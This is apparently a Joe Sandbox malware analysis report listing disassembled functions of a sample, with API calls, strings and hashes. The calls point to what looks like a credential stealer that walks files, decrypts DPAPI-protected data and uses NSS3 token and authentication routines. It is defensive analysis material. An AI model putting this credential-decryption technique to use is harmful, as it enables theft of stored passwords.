Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction ID: ab8a272bb0ac48908ccb48df32c4a676bf2e37b68a454f4a62162a4422f92537
Opcode Fuzzy Hash: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction Fuzzy Hash: FD4130B4E0421DDBDB10CFA4DD89BEEB7B9BB48304F1042AAF509A62C0D7745A84CF95

Function 6C771CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C771F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C772166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C77228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7723B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C77241C

Strings

model, xrefs: 6C7723CB, 6C7723EC
manufacturer, xrefs: 6C772179
token, xrefs: 6C771F2C
serial, xrefs: 6C7722A2

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 5ad74f35f977022746723efc10e8e273e231f34bfbf62beb4450d232256e64c9
Instruction ID: e5a062b64119821ee80766a7547f875e7d6c400ae658442e41667be8a70b2ba4
Opcode Fuzzy Hash: 5ad74f35f977022746723efc10e8e273e231f34bfbf62beb4450d232256e64c9
Instruction Fuzzy Hash: D1023062D0C7CCAEFB318271C54C7D76AE09B4632CF0D1A7EC5EE46683C7A859889361

Function 0040DF10 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C32), ref: 0040DF5E
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040DFAE
StrCmpCA.SHLWAPI(?,004215C4), ref: 0040DFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E4E0
FindClose.KERNEL32(000000FF), ref: 0040E4F2

Strings

4@, xrefs: 0040DF32, 0040E500, 0040DFF3, 0040DF75, 0040DFF6
\*.*, xrefs: 0040DF26

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$\*.*
API String ID: 2325840235-1993203227
Opcode ID: 691631c20615bb1bf62031142e4eea7986fc974cd369287d33d6c9eb220d6c84
Instruction ID: 5b1d21d8256b1a4f75019a03d5e94b0e3f490a8b44af3c5bb40891ece502d815
Opcode Fuzzy Hash: 691631c20615bb1bf62031142e4eea7986fc974cd369287d33d6c9eb220d6c84
Instruction Fuzzy Hash: F6F14D71A151189ACB25EB61DCA5EEE7339AF14314F4005EFB10A62091EF387BD8CF5A

Function 6C776C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C721C6F,00000000,00000004,?,?), ref: 6C776C3F

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C721C6F,00000000,00000004,?,?), ref: 6C776C60
PR_ExplodeTime.NSS3(00000000,6C721C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C721C6F,00000000,00000004,?,?), ref: 6C776C94

Strings

gfff, xrefs: 6C776CF5
gfff, xrefs: 6C776D9C
gfff, xrefs: 6C776D66
gfff, xrefs: 6C776CFD
gfff, xrefs: 6C776D30

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 410ded5432698f71a61ea649234208c28ced0451bed2bbf4f25e7e53ca0ce085
Instruction ID: c947e0797f6c702e67cb5168228f3da97cb73b360765b683238203649a848423
Opcode Fuzzy Hash: 410ded5432698f71a61ea649234208c28ced0451bed2bbf4f25e7e53ca0ce085
Instruction Fuzzy Hash: F9516B72B016494FC718CDADDD527DEBBDAABA4310F48C23AE442CB785E638E906C751

Function 6C78BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C78BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C78BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C78BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C78BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C78BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C78BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C78BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C78BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C78BE1E

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 89eb80b543c4f2f8ec15205dd4fa7f621fcdf8322f72c0c6d8eaf82e07bfa1c4
Instruction ID: 48110a0d91574acc0083abf6e6f5ef538d197ddea75d786ebe21226218e927ce
Opcode Fuzzy Hash: 89eb80b543c4f2f8ec15205dd4fa7f621fcdf8322f72c0c6d8eaf82e07bfa1c4
Instruction Fuzzy Hash: 5D21D77BE022996BFB0046569E4BF8B36789B91B4DF080074FB26EE641F710B418C6B5

Function 6C838D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8814E4,6C7ECC70), ref: 6C838D47
PR_GetCurrentThread.NSS3 ref: 6C838D98

Part of subcall function 6C710F00: PR_GetPageSize.NSS3(6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F1B
Part of subcall function 6C710F00: PR_NewLogModule.NSS3(clock,6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C838E7B
htons.WSOCK32(?), ref: 6C838EDB
PR_GetCurrentThread.NSS3 ref: 6C838F99
PR_GetCurrentThread.NSS3 ref: 6C83910A

Strings

%u.%u.%u.%u, xrefs: 6C838E74

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 2775a69ef36515d5d2e667f5d81a6f9a2fd8163132b8a9c1321e801935f8ddcb
Instruction ID: c1da23708c1102740aa7c47ff1eefcef49915e9007c2b86849b43b28e30ba1cc
Opcode Fuzzy Hash: 2775a69ef36515d5d2e667f5d81a6f9a2fd8163132b8a9c1321e801935f8ddcb
Instruction Fuzzy Hash: C902ED319052718FDB34CF58C56836ABBB3EF42304F19AA5AC8996BB91C739D908C7D0

Function 6C7D9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C6AC52B), ref: 6C7D9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7DA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7DA114

Strings

%s at line %d of [%.10s], xrefs: 6C7DA02E, 6C7DA10D
database corruption, xrefs: 6C7DA029, 6C7DA108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7DA01F, 6C7DA0E4, 6C7DA0FE

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 50f51338a599e682b85f288ebb81c0339a342b35884cabeff92fed9d9a15e89f
Instruction ID: 7546d541d1e2c57f5bca2adeeaa788585d82aaff1c94cfaaa753a55ef845ad9d
Opcode Fuzzy Hash: 50f51338a599e682b85f288ebb81c0339a342b35884cabeff92fed9d9a15e89f
Instruction Fuzzy Hash: 0122AD716083419FC704CF29C6A062AB7E1BFDA358F158A2DE8DA97A51DB31F845CB42

Function 0041B63A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BEA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BEB7
UnhandledExceptionFilter.KERNEL32(eM), ref: 0041BEC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BEDE
TerminateProcess.KERNEL32(00000000), ref: 0041BEE5

Strings

eM, xrefs: 0041BEBD

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: eM
API String ID: 2579439406-4107679315
Opcode ID: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction ID: e0cf9fd370cfefa4586a3e07c7ad2671862445e1fb84a52232205764a1bb9e34
Opcode Fuzzy Hash: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction Fuzzy Hash: FC21CCB8902214DFC710DF69FC85A883BB4FB18314F12807BE90887262E7B499818F5D

Function 6C7F9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C6B8637,?,?), ref: 6C7F9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C6B8637), ref: 6C7F9ED6

Strings

%s at line %d of [%.10s], xrefs: 6C7F9ECF
database corruption, xrefs: 6C7F9ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7F9EC0

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 7f541df44bd5c817232887aa58279bd823eca4e7728c7d418e736ccd0d6f887c
Instruction ID: 4b1a000c6a358436876ffbed28e9c02dc39de03e24ca5b19cf42fbc9555de016
Opcode Fuzzy Hash: 7f541df44bd5c817232887aa58279bd823eca4e7728c7d418e736ccd0d6f887c
Instruction Fuzzy Hash: 0A81C432B002158FDB04CF6ACAC4ADEB7F6EF58318B158529D825AB751E731ED46CB90

Function 0040A210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Strings

>O@, xrefs: 0040A224, 0040A231, 0040A249, 0040A268, 0040A234, 0040A26B

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction ID: de78b312e53d8eb1032a325daaba17a5ad67a9fc4c37dbc2dcfee383a82f1a49
Opcode Fuzzy Hash: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction Fuzzy Hash: 3B11D474641308AFEB10CF64DC95FAA77B5EB88B04F208099FD159B3D0C776AA41CB50

Function 004072A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0), ref: 004072AD
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004072B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CF0,80000001,00416414), ref: 00407304
LocalFree.KERNEL32(?,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 0040730E

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction ID: 53cc3c192cf3f0b8553079c3b9831d6236397efc4a83699197ab53cf729bcbdc
Opcode Fuzzy Hash: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction Fuzzy Hash: 43010075E45308BBEB14DFA4DC45F9E7779AB44B00F104556FB05BA2C0D670AA009B55

Function 6C83CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C83D086
PR_Malloc.NSS3(00000001), ref: 6C83D0B9
PR_Free.NSS3(?), ref: 6C83D138

Strings

>, xrefs: 6C83CF5B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: b29025d22de6db181f87370946a0714d17127e0c1244c2d137844500df667c06
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 30D18F62B5157A4BEB3448FCCDB13D9B7938742374F583B2AD0298BBD6E619884383C1

Function 00413970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E120,00000000,00000001,0041E110,00000000), ref: 004139A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00413A00

Strings

,<A, xrefs: 0041398D, 00413AE4, 00413AE7

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: ,<A
API String ID: 123533781-3158208111
Opcode ID: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction ID: 4ceafe5fcd3fa6382eb1302e1b13d25b09f52af09297020757b8d8bc714daff3
